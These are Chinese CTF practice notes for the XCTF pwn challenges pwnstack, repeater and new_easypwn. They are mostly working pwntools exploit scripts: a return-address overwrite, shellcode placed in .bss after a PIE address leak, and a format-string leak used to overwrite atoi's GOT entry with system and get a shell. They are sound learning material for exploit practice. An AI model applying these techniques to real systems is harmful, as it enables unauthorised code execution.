攻防世界PWN刷题
pwnstack
from pwn import *p = process('./pwn2')
#p = remote('61.147.171.105', 63073)
p.recv()
offset = 168
ret = 0x400766
payload = flat(b'a'*offset, p64(ret))
p.sendline(payload)
p.interactive()
repeater
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{char s[32]; // [rsp+0h] [rbp-30h] BYREFint v5; // [rsp+20h] [rbp-10h]int i; // [rsp+2Ch] [rbp-4h]sub_91B(a1, a2, a3);sub_A08();v5 = 1192227;puts("I can repeat your input.......");puts("Please give me your name :");memset(byte_202040, 0, sizeof(byte_202040));sub_982(byte_202040, 48LL);for ( i = 0; i < v5; ++i ){printf("%s's input :", byte_202040);memset(s, 0, sizeof(s));read(0, s, 0x40uLL);puts("sorry... I can't.....");if ( v5 == 3281697 ){puts("But there is gift for you :");printf("%p\n", main);}}return 0LL;
}
RELRO: Full RELRO
- RELRO(Relocation Read - Only):它是一种保护机制,其作用是增强二进制文件在加载时重定位表的安全性。
- Full RELRO:意味着整个重定位表在程序加载时就被标记为只读,这样可以防止攻击者改写重定位表,从而抵御基于重定位表的攻击,例如 GOT(Global Offset Table)覆写攻击。
PIE: PIE enabled
- PIE(Position - Independent Executable):这是一种地址空间布局随机化(ASLR)的扩展,它会在程序每次加载时随机化程序代码段、数据段等的基地址,让攻击者难以预测代码和数据的位置。
- PIE enabled:表示该二进制文件启用了 PIE 保护,增加了利用漏洞的难度。
思路:
一次写入shellcode到bss段的name,
二次写入覆盖v5改为目标值0x321321,打印出main地址,
计算name地址=偏移地址+name基址=(main地址-main基址)+name基址=main地址-0xa33+0x202040
三次写入覆盖v5为0跳出循环,覆盖目标地址为name地址。
from pwn import *
context.arch = 'amd64'
context.log_level = True
p = process('./repeater')
#p = remote('61.147.171.105', 63073)
shellcode = asm(shellcraft.sh())
#输入shellcode
p.sendlineafter("your name :" ,shellcode)#此处的偏移量根据ida得到,不一定准确,准确方法回头补
#这个偏移量是两个变量之间的偏移
offset = 0x20
ret = 0x321321
payload = flat(b'a'*offset, p64(ret))
#输入条件值
p.sendlineafter("input :" ,payload)p.readuntil('for you :\n')
#计算目标地址
bss_addr = 0x202040
main_addr = 0xa33
main_ab = int(p.recvuntil("\n"),16)
bss_ab = main_ab-main_addr+bss_addr
print('main_ab{}, bss_ab{}'.format(hex(main_ab),hex(bss_ab)))offset1 = 0x20
v5 = 0
#offset2 = 0x30+8-0x20-8
offset2 = 0x10
ret = bss_ab
payload = flat(b'a'*offset1, p64(v5), b'a'*offset2, p64(ret))
#输入条件值
p.sendlineafter("input :" ,payload)
#输入目标跳转
p.interactive()
莫名其妙不行。本地不行,远程可以。。
重新写
from pwn import *p = process('./repeater')
context(os='linux', arch='amd64', log_level='debug')
shellcode=asm(shellcraft.sh())
p.sendlineafter('name :',shellcode)
#泄露main地址
target=0x321321
payload=flat(b'a'*0x20,p64(target))
p.sendlineafter('input :',payload)
p.recvuntil('you :\n0x')
main_addr = int(p.recv(12),16)
#返回地址改到shellcode
shellcode_addr = main_addr - 0xa33 + 0x202040
payload2 = flat(b'a'*0x20,p64(0x1),b'b'*0x10,p64(shellcode_addr))
p.sendlineafter('input :',payload2)
p.interactive()
from pwn import *context(os='linux', arch='amd64', log_level='debug') # 打印调试信息
content = 1 # 本地Pwn通之后,将content改成0,Pwn远程端口def main():if content == 1:io = process("./repeater") # 程序在kali的路径else:io = remote("61.147.171.105", 64526) # 题目的远程端口,注意是remoteshellcode = asm(shellcraft.sh()) # 构造shellcodeio.recvuntil("Please give me your name :\n")io.sendline(shellcode) # name存储在.bss段上,通过这里的输入向.bss段上写入shellcodepayload = b'a' * (0x30 - 0x10) + p64(3281697) # 栈溢出修改v5的值为3281697io.recvuntil("input :")io.sendline(payload)io.recvuntil("But there is gift for you :\n")main_addr = int(io.recvuntil("\n"), 16) # 保存下程序打印出的main()的真实地址base_addr = main_addr - 0x0A33 # 利用main()的真实地址计算出程序的基地址,0x0A33是main()的偏移地址,可以在ida中查看ret_addr = base_addr + 0x73eshellcode_addr = base_addr + 0x202040 # 利用程序的基地址和写入的shellcode在.bss段上的偏移地址,计算出shellcode存放的真实地址# 0x202040是byte_202040在.bss段上的偏移地址,可以在ida中查看 io.recvuntil("input :")payload = b'a' * (0x30 + 0x08) + p64(ret_addr) + p64(shellcode_addr) # 再次通过栈溢出让程序跳转到shellcode的位置去执行io.sendline(payload)io.interactive()main()
new_easypwn
参考:https://www.cnblogs.com/C0ngvv/p/16656671.html
库要一样,先调试同步环境
patchelf --replace-needed libc.so.6 ./libc-2.23.so hello
patchelf --set-interpreter ./ld-2.23.so hello
确定基址
打断点,运行到printf函数,查看栈中参数,找到有用的参数。
telescope $rsp 20
64位程序前6个参数(0-5)都在寄存器,因此这里第一个是第6个参数(0x556032a0)。
第九个参数可以计算处程序基址。第13个参数可以计算__libc_start_call_main地址。
目标地址写内容
实现覆写GOT表
edit函数这里实现向des地址处写入内容,由于name这里的scanf没有设置读入长度限制,因此这里溢出写入覆盖des处地址实现向目标地址写内容。
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('./hello')
libc = ELF('libc-2.23.so')
p = process('./hello')
#电话簿题目
#number 0 0x2020e0
#name 11 0x2020e0+11
#des 24 0x2020f8=0x2020e0+24
#单元长度为32
def Add(phone,name,size,info):p.sendlineafter('choice>>','1')p.sendlineafter('number:',phone)p.sendlineafter('name:',name)p.sendlineafter('size:',size)p.sendlineafter('info:',info)
def Show(index):p.sendlineafter('choice>>','3')p.sendlineafter('index:',index)
def Edit(index,phone,name,info):p.sendlineafter('choice>>','4')p.sendlineafter('index:',index)p.sendlineafter('number:',phone)p.sendlineafter('name:',name)p.sendlineafter('info:',info)#通过printf函数漏洞泄露栈中相关地址
Add('%13$p%9$p','name','12','info')
Show('0')
p.recvuntil('0x')
libc_start_main = int(p.recv(12),16) - 240
p.recvuntil('0x')
elf_base = int(p.recv(12),16) - 0x1274
print(hex(libc_start_main),hex(elf_base))libc_base = libc_start_main - libc.symbols['__libc_start_main']
system_addr = libc_base + libc.symbols['system']
atoi_got = elf_base + elf.got['atoi']
#电话簿题目
#number 0 0x2020e0
#name 11 0x2020e0+11
#des 24 0x2020f8=0x2020e0+24
#单元长度为32
#覆写atoi@got地址为system
Edit('0','c'*11,b'd'*13+p64(atoi_got),p64(system_addr))
p.sendlineafter('>>','/bin/sh')
p.interactive()
print(p.recv())
本地库环境都改了,还是不行。。远程就是可以。待研究原因。TODO
pwnCTFM
涉及堆